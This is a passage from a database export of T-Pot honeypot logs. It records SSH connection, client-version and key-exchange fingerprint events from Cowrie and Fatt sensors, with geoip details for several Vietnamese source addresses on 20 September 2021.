"hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44762, "timestamp": "2021-09-20T11:07:36.123401", "@timestamp": "2021-09-20T11:07:36.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23404	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.346064+03	2021-09-20 14:15:07.463471+03	{"_id": "_gbjAnwBvYTbRNuE0gxj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "62e295461db8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.346064Z", "@timestamp": "2021-09-20T11:07:36.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23405	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.362028+03	2021-09-20 14:15:07.46547+03	{"_id": "LwbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35594, "timestamp": "2021-09-20T11:07:36.362028", "@timestamp": "2021-09-20T11:07:36.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23411	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.487589+03	2021-09-20 14:15:07.47347+03	{"_id": "PAbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:48878 (192.168.176.2:22) [session: 84b3477ef84b]", "session": "84b3477ef84b", "@version": "1", "protocol": "ssh", "src_port": 48878, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.487589Z", "@timestamp": "2021-09-20T11:07:36.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23406	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.547357+03	2021-09-20 14:15:07.466471+03	{"_id": "AAbjAnwBvYTbRNuE0g1j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cbb6f111acc1", "@version": "1", "timestamp": "2021-09-20T11:07:36.547357Z", "@timestamp": "2021-09-20T11:07:36.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23407	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.624019+03	2021-09-20 14:15:07.468471+03	{"_id": "AQbjAnwBvYTbRNuE0g1j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "62e295461db8", "@version": "1", "timestamp": "2021-09-20T11:07:36.624019Z", "@timestamp": "2021-09-20T11:07:36.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23408	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:36.696405+03	2021-09-20 14:15:07.46947+03	{"_id": "AgbjAnwBvYTbRNuE0g1j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e63af5e95578", "@version": "1", "timestamp": "2021-09-20T11:07:36.696405Z", "@timestamp": "2021-09-20T11:07:36.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23409	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.265772+03	2021-09-20 14:15:07.470471+03	{"_id": "MwbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cbb6f111acc1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.265772Z", "@timestamp": "2021-09-20T11:07:36.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23856	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:51.803119+03	2021-09-20 14:15:08.04447+03	{"_id": "1wbkAnwBvYTbRNuEDQ8M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0955749a468e", "@version": "1", "duration": 2.893911838531494, "timestamp": "2021-09-20T11:07:51.803119Z", "@timestamp": "2021-09-20T11:07:51.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23412	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.849248+03	2021-09-20 14:15:07.474471+03	{"_id": "PQbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43416 (192.168.176.2:22) [session: 901571932a87]", "session": "901571932a87", "@version": "1", "protocol": "ssh", "src_port": 43416, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.849248Z", "@timestamp": "2021-09-20T11:07:36.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23413	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.14909+03	2021-09-20 14:15:07.475469+03	{"_id": "PgbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45386 (192.168.176.2:22) [session: 10000255190e]", "session": "10000255190e", "@version": "1", "protocol": "ssh", "src_port": 45386, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.149090Z", "@timestamp": "2021-09-20T11:07:37.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23414	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:36.448172+03	2021-09-20 14:15:07.476474+03	{"_id": "NQbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e63af5e95578", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.448172Z", "@timestamp": "2021-09-20T11:07:36.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23415	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.488271+03	2021-09-20 14:15:07.478471+03	{"_id": "NwbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "84b3477ef84b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.488271Z", "@timestamp": "2021-09-20T11:07:36.488Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23416	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.653657+03	2021-09-20 14:15:07.47947+03	{"_id": "OAbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", 